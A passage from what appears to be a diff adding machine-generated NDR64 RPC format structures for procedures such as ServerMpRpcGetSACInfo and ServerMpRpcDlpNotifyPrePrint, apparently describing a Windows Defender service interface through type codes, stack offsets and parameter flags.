0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1876 + }, + { + /* Struct_4158_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1874_t __midl_frag1874 = +{ +/* *Struct_4158_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1875 +}; + +static const __midl_frag1873_t __midl_frag1873 = +{ +/* **Struct_4158_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1874 +}; + +static const __midl_frag1871_t __midl_frag1871 = +{ +/* Proc193_ServerMpGetTDTFeatureStatusEx */ + { + /* Proc193_ServerMpGetTDTFeatureStatusEx */ /* procedure Proc193_ServerMpGetTDTFeatureStatusEx */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1873, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1867_t __midl_frag1867 = +{ +/* Struct_3944_t */ + { + /* Struct_3944_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3944_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 24 /* 0x18 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1866_t __midl_frag1866 = +{ +/* *Struct_3944_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1867 +}; + +static const __midl_frag1864_t __midl_frag1864 = +{ +/* union_3928 */ + { + /* union_3928 */ + 0x51, /* FC64_NON_ENCAPSULATED_UNION */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT8) 0 /* 0x0 */, + 0x5, /* FC64_INT32 */ + (NDR64_UINT32) 8 /* 0x8 */, + &__midl_frag1877, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_UNION_ARM_SELECTOR */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 1 /* 0x1 */ + }, + { + /* struct _NDR64_UNION_ARM */ + (NDR64_INT64) 1 /* 0x1 */, + &__midl_frag1866, + (NDR64_UINT32) 0 /* 0x0 */ + }, + (NDR64_UINT32) 4294967295 /* 0xffffffff */ +}; + +static const __midl_frag1863_t __midl_frag1863 = +{ +/* Struct_3958_t */ + { + /* Struct_3958_t */ + 0x34, /* FC64_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3958_t */ + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 16 /* 0x10 */, + 0, + 0, + 0, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1864 + }, + { + /* Struct_3958_t */ + 0x92, /* FC64_BUFFER_ALIGN */ + (NDR64_UINT8) 7 /* 0x7 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1862_t __midl_frag1862 = +{ +/* *Struct_3958_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1863 +}; + +static const __midl_frag1861_t __midl_frag1861 = +{ +/* **Struct_3958_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 20 /* 0x14 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1862 +}; + +static const __midl_frag1859_t __midl_frag1859 = +{ +/* Proc192_ServerMpRpcGetSACInfo */ + { + /* Proc192_ServerMpRpcGetSACInfo */ /* procedure Proc192_ServerMpRpcGetSACInfo */ + (NDR64_UINT32) 21626944 /* 0x14a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1861, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1849_t __midl_frag1849 = +{ +/* Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ + { + /* Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ /* procedure Proc191_ServerMpRpcGetDeviceControlSecurityPolicies */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2054, + { + /* arg_1 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2054, + { + /* arg_2 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* MustSize, MustFree, [out], UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1843_t __midl_frag1843 = +{ +/* Proc190_ServerMpGetTDTFeatureStatus */ + { + /* Proc190_ServerMpGetTDTFeatureStatus */ /* procedure Proc190_ServerMpGetTDTFeatureStatus */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 72 /* 0x48 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag1839_t __midl_frag1839 = +{ +/* *Struct_126_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag121 +}; + +static const __midl_frag1838_t __midl_frag1838 = +{ +/* *Struct_3880_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1828 +}; + +static const __midl_frag1837_t __midl_frag1837 = +{ +/* *Struct_3824_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1746 +}; + +static const __midl_frag1836_t __midl_frag1836 = +{ +/* Proc189_ServerMpRpcDlpNotifyPostStartPrint */ + { + /* Proc189_ServerMpRpcDlpNotifyPostStartPrint */ /* procedure Proc189_ServerMpRpcDlpNotifyPostStartPrint */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1837, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1838, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1839, + { + /* arg_3 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag1832_t __midl_frag1832 = +{ +/* */ + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + }, + { + /* *wchar_t */ + 0x21, /* FC64_UP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag2364 + } +}; + +static const __midl_frag1828_t __midl_frag1828 = +{ +/* Struct_3880_t */ + { + /* Struct_3880_t */ + 0x35, /* FC64_FORCED_BOGUS_STRUCT */ + (NDR64_UINT8) 7 /* 0x7 */, + { + /* Struct_3880_t */ + 1, + 1, + 0, + 0, + 0, + 0, + 0, + 0 + }, + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT32) 32 /* 0x20 */, + 0, + 0, + &__midl_frag1832, + }, + { + /* */ + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_MEMPAD_FORMAT */ + 0x90, /* FC64_STRUCTPADN */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x14, /* FC64_POINTER */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag1826_t __midl_frag1826 = +{ +/* *Struct_3824_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag1746 +}; + +static const __midl_frag1825_t __midl_frag1825 = +{ +/* Proc188_ServerMpRpcDlpNotifyPrePrint */ + { + /* Proc188_ServerMpRpcDlpNotifyPrePrint */ /* procedure Proc188_ServerMpRpcDlpNotifyPrePrint */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 0 /* 0x0 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag1838, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1817_t __midl_frag1817 = +{ +/* Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ + { + /* Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ /* procedure Proc187_ServerMpRpcDlpNotifyPostSaveAsDocument */ + (NDR64_UINT32) 17563712 /* 0x10c0040 */, /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 48 /* 0x30 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag1746, + { + /* arg_1 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2266, + { + /* arg_2 */ + 1, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag1839, + { + /* arg_3 */ + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustFree, [in] */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 